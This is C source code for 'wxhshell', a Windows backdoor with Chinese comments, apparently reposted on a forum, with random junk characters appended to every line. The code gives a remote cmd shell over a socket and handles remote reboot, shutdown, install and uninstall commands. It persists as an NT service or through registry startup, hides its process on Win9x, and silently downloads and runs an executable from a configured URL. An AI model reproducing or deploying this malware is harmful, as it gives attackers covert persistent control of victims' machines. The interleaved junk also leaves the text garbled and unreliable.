  // 帮助  YRB%:D@u  
  case '?': { Fm j=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g{pQ4jKF  
    break; 6*1$8G`$8,  
  } _py2kjA6  
  // 安装 0kCQ0xB[a5  
  case 'i': { J+<p+(^*v  
    if(Install()) T%CxvZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q"aPJ0ni'  
    else QV,E #(\5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nx4P^P C  
    break; >mIg@knE  
    } DacJ,in_I{  
  // 卸载 =L 0fZf  
  case 'r': { fU*C/ d3  
    if(Uninstall()) ,9/5T:2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ex($  
    else 6GOcI#C9C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V; 9 }7mw  
    break; <lFY7' aY  
    } m7 XjP2   
  // 显示 wxhshell 所在路径 CD?&<NV  
  case 'p': { (M% ;~y\  
    char svExeFile[MAX_PATH]; rH}fLu8,;Q  
    strcpy(svExeFile,"\n\r"); C%H9[%k  
      strcat(svExeFile,ExeFile); oK-!(1A-  
        send(wsh,svExeFile,strlen(svExeFile),0); IbdM9qo7  
    break; A'eAu  
    } t;Wotfc[#0  
  // 重启 NoW!xLI  
  case 'b': { B/YcSEY;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S=R 3"~p  
    if(Boot(REBOOT)) lpEDPvD_Vm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kHU"AD}.  
    else { _Dq Qfc%  
    closesocket(wsh); !7` [i  
    ExitThread(0); *)PG-$6X&  
    } R+. Nn  
    break; }V^e7d  
    } WV_`1hZX  
  // 关机 52<~K  
  case 'd': { {^&k!H2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 ;vC(Go  
    if(Boot(SHUTDOWN)) +Hyk'=.W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e(\Q)re5Q  
    else { zHx mA  
    closesocket(wsh); 9A;6x$s  
    ExitThread(0); wA0eG@xi)  
    } o8D{dS>,PL  
    break; vw r RZ"2  
    } me'(lQ6^  
  // 获取shell w#{l 4{X|  
  case 's': { />Jm Rdf  
    CmdShell(wsh); R@ QQNYU.D  
    closesocket(wsh); HU[oR4E  
    ExitThread(0); i=da,W=0  
    break; 5^|"_Q#:  
  } 2}`R"MeS  
  // 退出 }1rvM4{/+f  
  case 'x': { i/: 5jI|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +v1-.z  
    CloseIt(wsh); Dm4B  
    break; F^sw0 .b  
    } h3t$>vs2F"  
  // 离开 j#o3  
  case 'q': { %AgA -pBp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $eCGez<E  
    closesocket(wsh); +wts 7,3  
    WSACleanup(); l4 `^!  
    exit(1);  ("F)  
    break; D% @KRcp^b  
        } j1Fw U  
  } ]|BojSL_  
  } E(/ sXji!  
104!!m  
  // 提示信息 : ~'Z(-a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S2}Z&X(  
} ZV#$Z  
  } 4@~a<P#  
afy/K'~  
  return; SEU\}Ni{  
} K!7q!%Ju  
Z%;)@0~f  
// shell模块句柄 )BlJ|M  
int CmdShell(SOCKET sock) *zSxG[s  
{ . z].:$J&  
STARTUPINFO si; \CtQ*[FmN  
ZeroMemory(&si,sizeof(si)); ,7I},sZj   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /b+;: z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2|s<[V3rP-  
PROCESS_INFORMATION ProcessInfo; iha9!kf  
char cmdline[]="cmd"; :s-EG;.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >@:667i,`  
  return 0; y;,y"W  
} OgTSx  
_]Ey Ea  
// 自身启动模式 Xvq^1Y?  
int StartFromService(void) Q4 CJ]J`  
{ R%W@~o\p]  
typedef struct OT%V{hD  
{ yI:r7=KO  
  DWORD ExitStatus; vh{9'vd3el  
  DWORD PebBaseAddress; %2zas(b9j  
  DWORD AffinityMask; (qj,GmcS  
  DWORD BasePriority; 9[,s4sxH  
  ULONG UniqueProcessId; l-MxLcz  
  ULONG InheritedFromUniqueProcessId; bu&;-Ynb  
}   PROCESS_BASIC_INFORMATION; &! OGIYC(  
BP:(IP!&  
PROCNTQSIP NtQueryInformationProcess; CX.SYr&!R  
SLg+H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q-jf8A]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hLSTSD}  
G#'Q~N  
  HANDLE             hProcess; drs-mt8  
  PROCESS_BASIC_INFORMATION pbi; 44Q9* ."  
j;G[%gi6{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iT[o KD0)  
  if(NULL == hInst ) return 0; /'mrDb_ip  
^pN 5NwC5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [jy0@Q9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >eRZ+|k?N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b h*^{  
JxnuGkE0[#  
  if (!NtQueryInformationProcess) return 0; P3i^S_  
>6IXuq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZWFG?8lJ  
  if(!hProcess) return 0; ;m' '9z)2  
qP&byEs"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nW~$ (Qnd  
di--:h/  
  CloseHandle(hProcess); ,TEuM|  
@W#fui<<}Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LSSW.Oz2L  
if(hProcess==NULL) return 0; %V31B\]Nz7  
r?>Vx -  
HMODULE hMod; IX"ZS  
char procName[255]; AvyQ4xim+  
unsigned long cbNeeded; 6$;L]<$W>  
(*MNox?w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B>sCP"/uV  
8W;xi:CC  
  CloseHandle(hProcess); c%ZeX%p  
E(% XVr0W  
if(strstr(procName,"services")) return 1; // 以服务启动 AfUZO^<  
H_Iim[v#  
  return 0; // 注册表启动 Jc`Rs"2  
} \Bt =bu>Z  
gxI&f  
// 主模块 ~:T3|  
int StartWxhshell(LPSTR lpCmdLine) r}ZLf  
{ g})6V  
  SOCKET wsl; |MR%{ZC^i  
BOOL val=TRUE; 3R'.}^RN  
  int port=0; B*y;>q "{U  
  struct sockaddr_in door; h (qshbC}  
0{-`Th+h  
  if(wscfg.ws_autoins) Install(); #fwzFS \XL  
I ca3  
port=atoi(lpCmdLine); 4sb )^3T  
.F4oo=  
if(port<=0) port=wscfg.ws_port; y+?=E g  
+mivqR~{{  
  WSADATA data; :G^"e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S|~i>  
yQ8M >H#J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T_uNF8Bh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r|l53I 5  
  door.sin_family = AF_INET; u/_Gq[Q,u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ri#,ec|J  
  door.sin_port = htons(port); &}>|5>cJu  
ri"?, }(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -T2~W!  
closesocket(wsl); ]vRVo6@ k  
return 1; |^Y*~d<H  
} 3aEt>x  
sk~za  
  if(listen(wsl,2) == INVALID_SOCKET) { ?hxK/%)  
closesocket(wsl); TG4\%S$w  
return 1;   YfTd  
} ~^^!"-  
  Wxhshell(wsl); Rl y jOf{0  
  WSACleanup(); l?})_1v,R  
|.y>[+Qb*  
return 0; L& I` #  
4\&H?:c.  
} W"W@WG9X0  
g4zT(,ZY  
// 以NT服务方式启动 {`+bW"9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A,3@j@bdy  
{ =t@:F  
DWORD   status = 0; h~,x7]w6  
  DWORD   specificError = 0xfffffff; }/_('q@s\  
=ZCH1J5"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y*`:M(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nsZDZ/jx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8dr0 DF$c  
  serviceStatus.dwWin32ExitCode     = 0; W3FymCI  
  serviceStatus.dwServiceSpecificExitCode = 0; dK:l&R  
  serviceStatus.dwCheckPoint       = 0; [Xs}FJ  
  serviceStatus.dwWaitHint       = 0; WH{cJ7wCL  
\#uqD\DE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v>JB rIb$  
  if (hServiceStatusHandle==0) return; g@$0FY{Q  
bq c;.4$  
status = GetLastError(); h{Oz*Bq  
  if (status!=NO_ERROR) Sja"(sJ  
{ U,oD44  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bk/.<Rt  
    serviceStatus.dwCheckPoint       = 0; +<'uw  
    serviceStatus.dwWaitHint       = 0; NFdJb\  
    serviceStatus.dwWin32ExitCode     = status; &z./4X  
    serviceStatus.dwServiceSpecificExitCode = specificError; z2rQ$O -#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); " 7l jc  
    return; F?}m8ZRv  
  } D /,|pC  
5Z^$`$/.v#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6&g!ZE'G  
  serviceStatus.dwCheckPoint       = 0; 38"8,k  
  serviceStatus.dwWaitHint       = 0; O{;M6U8C\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e 7Yb=/F  
} M \ :"~XW  
?whRlh  
// 处理NT服务事件,比如:启动、停止 3c1o,2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2z.k)Qx!Z  
{ ^JYF1   
switch(fdwControl) gg lNpzj  
{ ~J8cS  
case SERVICE_CONTROL_STOP: W)6U6  
  serviceStatus.dwWin32ExitCode = 0; OU0xZ=G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,\|n=T,  
  serviceStatus.dwCheckPoint   = 0; X !&"&n  
  serviceStatus.dwWaitHint     = 0; NTv#{7q  
  { wo,""=l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X;K8,A7`  
  } e1f^:C  
  return; uKLOh<oio  
case SERVICE_CONTROL_PAUSE: V/QTYy1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p[ks} mca@  
  break; tEi@p;Z>  
case SERVICE_CONTROL_CONTINUE: !mw{T D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |_Naun=+~  
  break; 9b{g+lMZo  
case SERVICE_CONTROL_INTERROGATE: "2y7&#l   
  break; "wc`fg"3  
}; X+(aQ >y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &*V0(  
} Sa?~t3*H  
rwi2kk#@P  
// 标准应用程序主函数 `^s]?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9*G L@_c  
{ sg!=Q+  
c]cO[T_gGa  
// 获取操作系统版本 x9XGCr  
OsIsNt=GetOsVer(); uAPLT~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1A,4 Aw<  
hEdo,gF*  
  // 从命令行安装 Ymrpf  
  if(strpbrk(lpCmdLine,"iI")) Install(); )_x8?:lv  
30gZ_ 8C>}  
  // 下载执行文件 h=p-0 Mx .  
if(wscfg.ws_downexe) { S2{ ?W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BDB zc5Q(  
  WinExec(wscfg.ws_filenam,SW_HIDE); uK"$=v6|  
} ie$fMBIq  
;X9MA=b  
if(!OsIsNt) { MJ*oeI!.=  
// 如果时win9x,隐藏进程并且设置为注册表启动 n@ yd{Rc  
HideProc(); ,M+h9_&0?  
StartWxhshell(lpCmdLine); S7\|/h:4  
} nU">> 1!U  
else d-A%ZAkE]  
  if(StartFromService()) AW{/k'%xw  
  // 以服务方式启动 1*x5/b  
  StartServiceCtrlDispatcher(DispatchTable); @BB,i /  
else Y/:Q|HnXQ  
  // 普通方式启动 T$>=+U  
  StartWxhshell(lpCmdLine); IdC k  
nKZRq&~^E  
return 0; q)zu}m  
}
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只看该作者 1 发表于: 2006-10-10
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